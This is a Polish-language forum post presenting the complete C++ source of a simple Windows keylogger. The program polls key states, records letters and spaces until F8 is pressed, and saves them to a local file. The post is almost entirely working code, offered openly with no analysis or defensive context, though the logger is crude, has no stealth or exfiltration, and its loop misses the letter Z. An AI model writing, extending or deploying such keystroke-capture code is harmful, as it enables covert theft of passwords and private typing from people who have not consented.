[C++] Najprostszy keylogger lokalny
: 28 kwie 2015, 21:10
Kod źródłowy najprostrzego keyloggera napisanego w C++. Keylogger rejestruje znaki, aż do wciśnięcia klawisza F8 na klawiaturze następnie zapisuje logi do pliku logi.txt.
Przetestowane w środowisku Code::Blocks 13.12 z kompilatorem MinGW.
Przetestowane w środowisku Code::Blocks 13.12 z kompilatorem MinGW.
Kod: Zaznacz cały
#include <fstream>
#include <cstring>
#include <windows.h>
using namespace std;
int main()
{
int Char;
string text;
ofstream log;
log.open("logi.txt");
while(!GetAsyncKeyState(VK_F8))
{
for(Char = 65; Char < 90; Char++)
{
if(GetAsyncKeyState(Char) == -32767)
{
text+=Char;
}
}
if(GetAsyncKeyState(VK_SPACE)==-32767)
{
text+=" ";
}
}
log << text;
log.close();
return 0;
}